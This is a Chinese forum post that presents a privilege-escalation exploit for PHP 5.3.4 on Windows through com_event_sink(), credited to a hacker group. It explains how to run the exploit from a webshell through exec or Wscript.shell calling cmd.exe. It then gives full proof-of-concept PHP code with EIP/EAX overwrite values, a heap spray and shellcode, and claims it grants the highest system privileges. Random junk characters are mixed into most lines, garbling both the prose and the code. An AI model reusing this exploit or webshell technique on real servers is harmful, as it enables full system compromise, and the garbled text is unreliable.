|
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中3 V3 M* Q& a i* b" |4 z
' L" s- i p7 P" }( ?% K
测试方法如下:cmd /c x:\php\php.exe x:\test.php) `7 }1 q; ?& p6 f; ^+ y
/ W0 T X8 C, k+ q* M5 O下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php& J- m) W" D% G3 n% B3 Q( J# Q/ C# L1 g
这里是两个测试的截图:
/ K* [% s( y+ e6 Z0 [1 I4 z; w* z. A- k7 m4 K$ t( ]
* }# o% h3 j# T) J) h
+ N% ^6 R- s, F7 P& d7 {& l8 Q6 ^7 f# ]% d
2 N# q2 G; W. v: ^0 G% ?7 d成功利用此漏洞的攻击者将获得系统的最高权限, F- \0 k! c6 b' G" {& X1 ^1 x
/ V, C. R' R: _9 S( K4 f0 \
# i W! K3 |* n0 b: M4 y C- i
' l. m2 }- ~, @& W3 v' W$ h
7 B1 u! [+ S. s$ R5 ]2 a% K) B9 s- H
关于漏洞分析稍后附上。一下是PoC代码:' ]. T8 B4 U/ d. N6 x
2 [( M d$ j" y2 T% U6 @<?php9 M0 q# I2 b3 U* P
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞7 v4 T; a/ X/ d5 R6 S
//$eip ="\x44\x43\x42\x41";
) I$ n; G1 S5 W9 {" ?, G) i' g. Y) r$eip= "\x4b\xe8\x57\x78";8 l2 Q- |. T' w# b- f2 Z- q
$eax ="\x80\x01\x8d\x04";* z0 H: I& G4 c6 r4 t/ L: q, [
$deodrant="";, Q- D9 Q9 p1 G& }: D
$axespray = str_repeat($eip.$eax,0x80);4 Y; G" A! e& ~. {! D% u
//048d01909 \+ [6 @* @6 y" J
echo strlen($axespray);
) x4 z( O$ ?6 d9 `echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
$ e& l7 q$ j2 R$ W" H4 {9 W! wecho "Silic Group Hacker Army - BlackBap.Org";
* P, B# ^ W6 b, t# j2 a! t//19200 ==4B32 4b00
, H7 g& [7 p- |2 yfor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;} c% y5 j* g0 N2 Z+ V. }
$terminate = "T";
4 F# ^' c8 v W8 S$u[] =$deodrant;' \4 D; M& Z9 J# z
$r[] =$deodrant.$terminate;
1 B3 \2 a; R& W, p7 s" G. i/ E, Y) v$a[] =$deodrant.$terminate;: g4 I7 M2 r, u
$s[] =$deodrant.$terminate;8 m& d2 d8 z: o1 b+ @
//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的
/ V* L; ^( O+ d1 d4 l) Q4 o* S$vVar = new VARIANT(0x048d0000+180);
/ h0 m# c' p: l6 V//弹窗代码(Shellcode)
4 d2 [4 h# V; k$ l$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
# q% d0 s$ U" R$var2 = new VARIANT(0x41414242);
& h5 h+ v1 p! l9 d; Ocom_event_sink($vVar,$var2,$buffer);, l z- a: `9 Y# p# I
?>
' j! \: P v5 `0 {; r |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|